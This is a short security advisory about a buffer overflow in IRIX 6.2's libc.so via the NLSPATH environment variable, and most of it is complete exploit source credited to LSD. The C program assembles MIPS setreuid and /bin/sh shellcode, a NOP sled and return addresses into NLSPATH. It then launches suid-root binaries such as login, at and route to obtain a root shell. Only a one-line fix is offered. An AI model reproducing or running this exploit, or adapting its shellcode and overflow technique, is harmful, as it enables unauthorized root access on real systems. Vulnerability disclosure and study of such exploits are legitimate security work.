|
COMMAND NLSPATH SYSTEMS AFFECTED libc.so (IRIX 6.2) PROBLEM There exists a buffer overflow vulnerability in the libc.so library in the way the NLSPATH environment variable is handled. It is possible to exploit this bug in several suid root binaries and locally gain root user privileges. Code by LSD. /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/ /*## libc.so $NLSPATH #*/ #define NOPNUM 768 #define ADRNUM 176 #define TMPNUM 200 char setreuidcode[]= "\x30\x0b\xff\xff" /* andi $t3,$zero,0xffff */ "\x24\x02\x04\x01" /* li $v0,1024+1 */ "\x20\x42\xff\xff" /* addi $v0,$v0,-1 */ "\x03\xff\xff\xcc" /* syscall */ "\x30\x44\xff\xff" /* andi $a0,$v0,0xffff */ "\x31\x65\xff\xff" /* andi $a1,$t3,0xffff */ "\x24\x02\x04\x64" /* li $v0,1124 */ "\x03\xff\xff\xcc" /* syscall */ ; char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],tmp[4],*b,*envp[2]; int i,n=-1; printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n"); printf("libc.so $NLSPATH for irix 6.2 IP:17,19,20,21,22\n\n"); if(argc!=2){ printf("usage: %s {login|who|netprint|ordist|cancel|route|" "at}\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"login")) n=0; if(!strcmp(argv[1],"who")) n=1; if(!strcmp(argv[1],"netprint")) n=2; if(!strcmp(argv[1],"ordist")) n=3; if(!strcmp(argv[1],"cancel")) n=4; if(!strcmp(argv[1],"route")) n=5; if(!strcmp(argv[1],"at")) n=6; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8492+1800; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+8492-1024; envp[0]=buffer; envp[1]=0; b=buffer; sprintf(b,"NLSPATH="); b+=8; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b++=0xff; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; switch(n){ case 0: execle("/bin/login","lsd",0,envp); case 1: execle("/sbin/who","lsd",0,envp); case 2: execle("/usr/lib/print/netprint","lsd",0,envp); case 3: execle("/usr/bsd/ordist","lsd",0,envp); case 4: execle("/usr/bin/cancel","lsd",0,envp); case 5: execle("/usr/etc/route","lsd","add",0,envp); case 6: execle("/usr/bin/at","lsd","bzz",0,envp); } } SOLUTION Upgrade libc.